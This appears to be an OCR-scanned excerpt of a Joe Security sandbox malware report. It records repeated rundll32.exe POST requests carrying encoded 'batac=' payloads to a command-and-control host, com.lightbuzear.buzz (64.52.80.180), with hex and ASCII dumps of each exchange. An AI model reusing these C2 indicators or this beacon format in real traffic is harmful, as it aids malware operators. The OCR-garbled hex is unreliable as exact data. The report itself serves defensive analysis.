65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:01 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:02 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP D ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:40:03 UTC 58

2022-08-14 06:40:03 UTC 59

2022-08-14 06:40:03 UTC 59

Session ID Source IP
35 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:04 UTC 59

2022-08-14 06:40:04 UTC 59

2022-08-14 06:40:04 UTC 60

2022-08-14 06:40:04 UTC 61

Session ID Source IP

36 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:05 UTC 61

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49207

Direction

ouT

ouT

Source Port

49208

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:03 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:04 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP D ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Page 54 of 91



kBytes

Timestam
P transferred

2022-08-14 06:40:05 UTC 61

2022-08-14 06:40:05 UTC 62

2022-08-14 06:40:05 UTC 62

Session ID Source IP
37 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:06 UTC 62

2022-08-14 06:40:06 UTC 63

2022-08-14 06:40:06 UTC 64

2022-08-14 06:40:06 UTC 64

Session ID Source IP

38 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:07 UTC 64

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49209

Direction

ouT

ouT

Source Port

49210

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
7432767469 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:05 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:06 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP D ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:40:07 UTC 64

2022-08-14 06:40:07 UTC 65

2022-08-14 06:40:07 UTC 65

Session ID Source IP
39 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:08 UTC 65

2022-08-14 06:40:08 UTC 66

2022-08-14 06:40:09 UTC 67

2022-08-14 06:40:09 UTC 67

Session ID Source IP

4 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:39:29 UTC 8

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49211

Direction

ouT

ouT

Source Port

49176

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:07 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destinati
Destination IP Estnaton Process

Port
64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:39:29 UTC 8

2022-08-14 06:39:30 UTC 9

2022-08-14 06:39:30 UTC 9

Session ID Source IP
40 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:09 UTC 67

2022-08-14 06:40:09 UTC 67

2022-08-14 06:40:10 UTC 69

2022-08-14 06:40:10 UTC 69

Session ID Source IP

41 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:10 UTC 69

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49212

Direction

ouT

ouT

Source Port

49213

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:30 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destinati
Destination IP Estnaton Process

Port
64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:40:10 UTC 69

2022-08-14 06:40:11 UTC 70

2022-08-14 06:40:11 UTC 70

Session ID Source IP
42 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:11 UTC 70

2022-08-14 06:40:11 UTC 71

2022-08-14 06:40:12 UTC 72

2022-08-14 06:40:12 UTC 72

Session ID Source IP

43 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:12 UTC 72

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49214

Direction

ouT

ouT

Source Port

49215

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
